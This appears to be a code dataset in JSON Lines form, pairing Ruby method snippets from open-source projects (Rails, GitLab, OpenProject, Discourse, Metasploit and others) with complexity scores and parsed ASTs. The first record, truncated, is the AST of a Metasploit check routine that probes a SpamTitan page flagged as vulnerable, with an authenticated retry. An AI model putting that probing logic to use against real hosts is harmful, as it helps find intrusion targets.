\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"snmp_x_uri\"]}]},{\"type\":\"str\",\"children\":[\" exists\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"snmp_x_uri\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\"]},\"new\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not connect to SpamTitan vulnerable page (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"snmp_x_uri\"]}]},{\"type\":\"str\",\"children\":[\") - no response\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[302]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"This version of SpamTitan requires authentication. Trying with the \"]},{\"type\":\"str\",\"children\":[\"provided credentials.\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/index.php\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"jaction\"]},{\"type\":\"str\",\"children\":[\"none\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"language\"]},{\"type\":\"str\",\"children\":[\"en_US\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"passwd\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]},\"new\",{\"type\":\"str\",\"children\":[\"Unable to authenticate - no response\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid username or password\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]},\"new\",{\"type\":\"str\",\"children\":[\"Unable to authenticate - Invalid username or password\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[302]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\"]},\"new\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to authenticate - Unexpected HTTP response code: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cookies\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_cookies\"]},\"split\",{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"php_session\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookies\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cookie\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookie\"]},\"starts_with?\",{\"type\":\"str\",\"children\":[\"PHPSESSID=\"]}]}]},\"last\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cookie_jar\"]},\"clear\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cookie_jar\"]},\"add\",{\"type\":\"lvar\",\"children\":[\"php_session\"]}]},{\"type\":\"lvasgn\",\"children\":[\"remaining_cookies\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookies\"]},\"delete_if\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cookie\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookie\"]},\"starts_with?\",{\"type\":\"str\",\"children\":[\"PHPSESSID=\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cookie_jar\"]},\"merge\",{\"type\":\"lvar\",\"children\":[\"remaining_cookies\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"snmp_x_uri\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]},\"new\",{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not connect to SpamTitan vulnerable page (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"snmp_x_uri\"]}]},{\"type\":\"str\",\"children\":[\") - \"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"unexpected HTTP response code: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]}]}]}]}]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Connection error: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\"]},\"new\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not connect to SpamTitan vulnerable page (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"snmp_x_uri\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]}]}]},null]}]}","id":"1add6bac-153b-4732-babc-dd0e21bb0639"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-topic-voting/lib/discourse_topic_voting/topic_query_extension.rb","start_line":13,"raw_source":"def list_votes\n      create_list(:votes, unordered: true) do |topics|\n        topics.joins(\n          \"LEFT JOIN topic_voting_topic_vote_count dvtvc ON dvtvc.topic_id = topics.id\",\n        ).order(\"COALESCE(dvtvc.votes_count,'0')::integer DESC, topics.bumped_at DESC\")\n      end\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"list_votes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_list\",{\"type\":\"sym\",\"children\":[\"votes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unordered\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"topics\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topics\"]},\"joins\",{\"type\":\"str\",\"children\":[\"LEFT JOIN topic_voting_topic_vote_count dvtvc ON dvtvc.topic_id = topics.id\"]}]},\"order\",{\"type\":\"str\",\"children\":[\"COALESCE(dvtvc.votes_count,'0')::integer DESC, topics.bumped_at DESC\"]}]}]}]}","id":"e96b157f-47a7-4494-a892-300d53bf539b"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/http/cache.rb","start_line":189,"raw_source":"def last_modified=(utc_time)\n          set_header LAST_MODIFIED, utc_time.httpdate\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"last_modified=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"utc_time\"]}]},{\"type\":\"send\",\"children\":[null,\"set_header\",{\"type\":\"const\",\"children\":[null,\"LAST_MODIFIED\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"utc_time\"]},\"httpdate\"]}]}]}","id":"92f5ce1b-2467-4a9d-be80-4c6ed94e4b08"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/menus/meetings/menu.rb","start_line":117,"raw_source":"def query_path(query_params)\n      if project.present?\n        project_meetings_path(project, params.permit(query_params.keys).merge!(query_params))\n      else\n        meetings_path(params.permit(query_params.keys).merge!(query_params))\n      end\n    end","complexity_score":19.1,"ast_json":"{\"type\":\"def\",\"children\":[\"query_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query_params\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"project_meetings_path\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_params\"]},\"keys\"]}]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"query_params\"]}]}]},{\"type\":\"send\",\"children\":[null,\"meetings_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_params\"]},\"keys\"]}]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"query_params\"]}]}]}]}]}","id":"4871fbf3-3fd9-476d-8148-ae387ea1b4d0"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/space_inside_array_literal_brackets.rb","start_line":141,"raw_source":"def end_has_own_line?(token)\n          line, col = line_and_column_for(token)\n          return true if col == -1\n\n          !/\\S/.match?(processed_source.lines[line][0..col])\n        end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"end_has_own_line?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"token\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"line\"]},{\"type\":\"lvasgn\",\"children\":[\"col\"]}]},{\"type\":\"send\",\"children\":[null,\"line_and_column_for\",{\"type\":\"lvar\",\"children\":[\"token\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"col\"]},\"==\",{\"type\":\"int\",\"children\":[-1]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\S\"]},{\"type\":\"regopt\",\"children\":[]}]},\"match?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"processed_source\"]},\"lines\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"line\"]}]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"lvar\",\"children\":[\"col\"]}]}]}]},\"!\"]}]}]}","id":"0180bbc8-20f2-4344-b03d-fd8cc6329128"}
{"repo_name":"forem","file_path":"./repos/forem/app/helpers/articles_helper.rb","start_line":45,"raw_source":"def should_show_updated_on?(article)\n    article.edited_at &&\n      article.published &&\n      !article.published_from_feed &&\n      article.published_at.next_day < article.edited_at\n  end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"should_show_updated_on?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"article\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article\"]},\"edited_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article\"]},\"published\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article\"]},\"published_from_feed\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article\"]},\"published_at\"]},\"next_day\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article\"]},\"edited_at\"]}]}]}]}","id":"2ea74e55-72b2-48a8-8394-e4217f3ee85c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/internal_events/cli/flows/usage_viewer.rb","start_line":241,"raw_source":"def vue_examples\n        args = js_formatted_args(indent: 6)\n\n        cli.say <<~TEXT\n          #{divider}\n          #{format_help('// VUE')}\n\n          <script>\n          #{format_warning(\"import { InternalEvents } from '~/tracking';\")}\n          import { GlButton } from '@gitlab/ui';\n\n          #{format_warning('const trackingMixin = InternalEvents.mixin();')}\n\n          export default {\n            components: { GlButton },\n            #{format_warning('mixins: [trackingMixin]')},\n            methods: {\n              performAction() {\n                #{format_warning(\"this.trackEvent#{args}\")}\n              },\n            },\n          };\n          </script>\n\n          <template>\n            <gl-button @click=performAction>Click Me</gl-button>\n          </template>\n\n          #{divider}\n        TEXT\n\n        cli.say(\"Want to see the implementation details? See app/assets/javascripts/tracking/internal_events.js\\n\\n\")\n      end","complexity_score":15.1,"ast_json":"{\"type\":\"def\",\"children\":[\"vue_examples\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"args\",{\"type\":\"send\",\"children\":[null,\"js_formatted_args\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"indent\"]},{\"type\":\"int\",\"children\":[6]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cli\"]},\"say\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"divider\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"format_help\",{\"type\":\"str\",\"children\":[\"// VUE\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"<script>\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"format_warning\",{\"type\":\"str\",\"children\":[\"import { InternalEvents } from '~/tracking';\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"import { GlButton } from '@gitlab/ui';\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"format_warning\",{\"type\":\"str\",\"children\":[\"const trackingMixin = InternalEvents.mixin();\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"export default {\\n\"]},{\"type\":\"str\",\"children\":[\"  components: { GlButton },\\n\"]},{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"format_warning\",{\"type\":\"str\",\"children\":[\"mixins: [trackingMixin]\"]}]}]},{\"type\":\"str\",\"children\":[\",\\n\"]},{\"type\":\"str\",\"children\":[\"  methods: {\\n\"]},{\"type\":\"str\",\"children\":[\"    performAction() {\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"format_warning\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"this.trackEvent\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    },\\n\"]},{\"type\":\"str\",\"children\":[\"  },\\n\"]},{\"type\":\"str\",\"children\":[\"};\\n\"]},{\"type\":\"str\",\"children\":[\"</script>\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"<template>\\n\"]},{\"type\":\"str\",\"children\":[\"  <gl-button @click=performAction>Click Me</gl-button>\\n\"]},{\"type\":\"str\",\"children\":[\"</template>\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"divider\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cli\"]},\"say\",{\"type\":\"str\",\"children\":[\"Want to see the implementation details? See app/assets/javascripts/tracking/internal_events.js\\n\\n\"]}]}]}]}","id":"bd647da4-28e3-4589-b3d3-e6d428ca12af"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/spec/contracts/bcf/issues/shared_contract_examples.rb","start_line":63,"raw_source":"def expect_valid(valid, symbols = {})\n    expect(contract.validate).to eq(valid)\n\n    symbols.each do |key, arr|\n      expect(contract.errors.symbols_for(key)).to match_array arr\n    end\n  end","complexity_score":18.2,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_valid\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"valid\"]},{\"type\":\"optarg\",\"children\":[\"symbols\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"contract\"]},\"validate\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"lvar\",\"children\":[\"valid\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"symbols\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"arr\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"contract\"]},\"errors\"]},\"symbols_for\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"match_array\",{\"type\":\"lvar\",\"children\":[\"arr\"]}]}]}]}]}]}","id":"95333439-cad0-44a1-947f-9f2e73ffcb8c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/dependency_linker/parser/gemfile.rb","start_line":18,"raw_source":"def parse(keyword:)\n          plain_lines.each_with_object([]) do |line, packages|\n            name = fetch(line, method_call_regex(keyword))\n\n            next unless name\n\n            git_ref = fetch(line, GIT_REGEX)\n            github_ref = fetch(line, GITHUB_REGEX)\n\n            packages << Gitlab::DependencyLinker::Package.new(name, git_ref, github_ref)\n          end\n        end","complexity_score":15.6,"ast_json":"{\"type\":\"def\",\"children\":[\"parse\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"keyword\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"plain_lines\"]},\"each_with_object\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]},{\"type\":\"arg\",\"children\":[\"packages\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[null,\"fetch\",{\"type\":\"lvar\",\"children\":[\"line\"]},{\"type\":\"send\",\"children\":[null,\"method_call_regex\",{\"type\":\"lvar\",\"children\":[\"keyword\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"git_ref\",{\"type\":\"send\",\"children\":[null,\"fetch\",{\"type\":\"lvar\",\"children\":[\"line\"]},{\"type\":\"const\",\"children\":[null,\"GIT_REGEX\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"github_ref\",{\"type\":\"send\",\"children\":[null,\"fetch\",{\"type\":\"lvar\",\"children\":[\"line\"]},{\"type\":\"const\",\"children\":[null,\"GITHUB_REGEX\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packages\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"DependencyLinker\"]},\"Package\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"git_ref\"]},{\"type\":\"lvar\",\"children\":[\"github_ref\"]}]}]}]}]}]}","id":"924a7fd0-2ec4-418a-a973-bc7ec93815db"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/importer/protected_branch_importer.rb","start_line":190,"raw_source":"def non_default_branch_access_level_for(action)\n          access_level = ProtectedBranch.access_levels_for_ref(protected_branch.id, action: action)\n                                        .find(&:role?)&.access_level\n\n          access_level || gitlab_default_access_level_for(action)\n        end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"non_default_branch_access_level_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"action\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"access_level\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProtectedBranch\"]},\"access_levels_for_ref\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"protected_branch\"]},\"id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"lvar\",\"children\":[\"action\"]}]}]}]},\"find\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"role?\"]}]}]},\"access_level\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"access_level\"]},{\"type\":\"send\",\"children\":[null,\"gitlab_default_access_level_for\",{\"type\":\"lvar\",\"children\":[\"action\"]}]}]}]}]}","id":"cca8d042-0ef6-4c2f-8e75-ee1e5fcdd86f"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/nextcloud/validators/ampf_configuration_validator.rb","start_line":75,"raw_source":"def group_folder_not_found\n              files.or { it.code == :not_found and fail_check(:group_folder_presence, :nc_group_folder_not_found) }\n              pass_check(:group_folder_presence)\n            end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"group_folder_not_found\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"files\"]},\"or\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"it\"]},\"code\"]},\"==\",{\"type\":\"sym\",\"children\":[\"not_found\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_check\",{\"type\":\"sym\",\"children\":[\"group_folder_presence\"]},{\"type\":\"sym\",\"children\":[\"nc_group_folder_not_found\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"pass_check\",{\"type\":\"sym\",\"children\":[\"group_folder_presence\"]}]}]}]}","id":"e468af75-a6ea-4486-b405-e56c65c1ab56"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/cleanup/update_policy_service.rb","start_line":25,"raw_source":"def allowed?\n        can?(current_user, :admin_package, project)\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"admin_package\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}","id":"8559fb0c-2bbe-4e83-ba39-68319bc4bb0e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/recon/local_exploit_suggester.rb","start_line":50,"raw_source":"def all_platforms\n    Msf::Module::Platform.subclasses.collect { |c| c.realname.downcase }\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"all_platforms\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Module\"]},\"Platform\"]},\"subclasses\"]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"realname\"]},\"downcase\"]}]}]}","id":"c25349aa-adf7-47ca-9162-22f8a62295b1"}
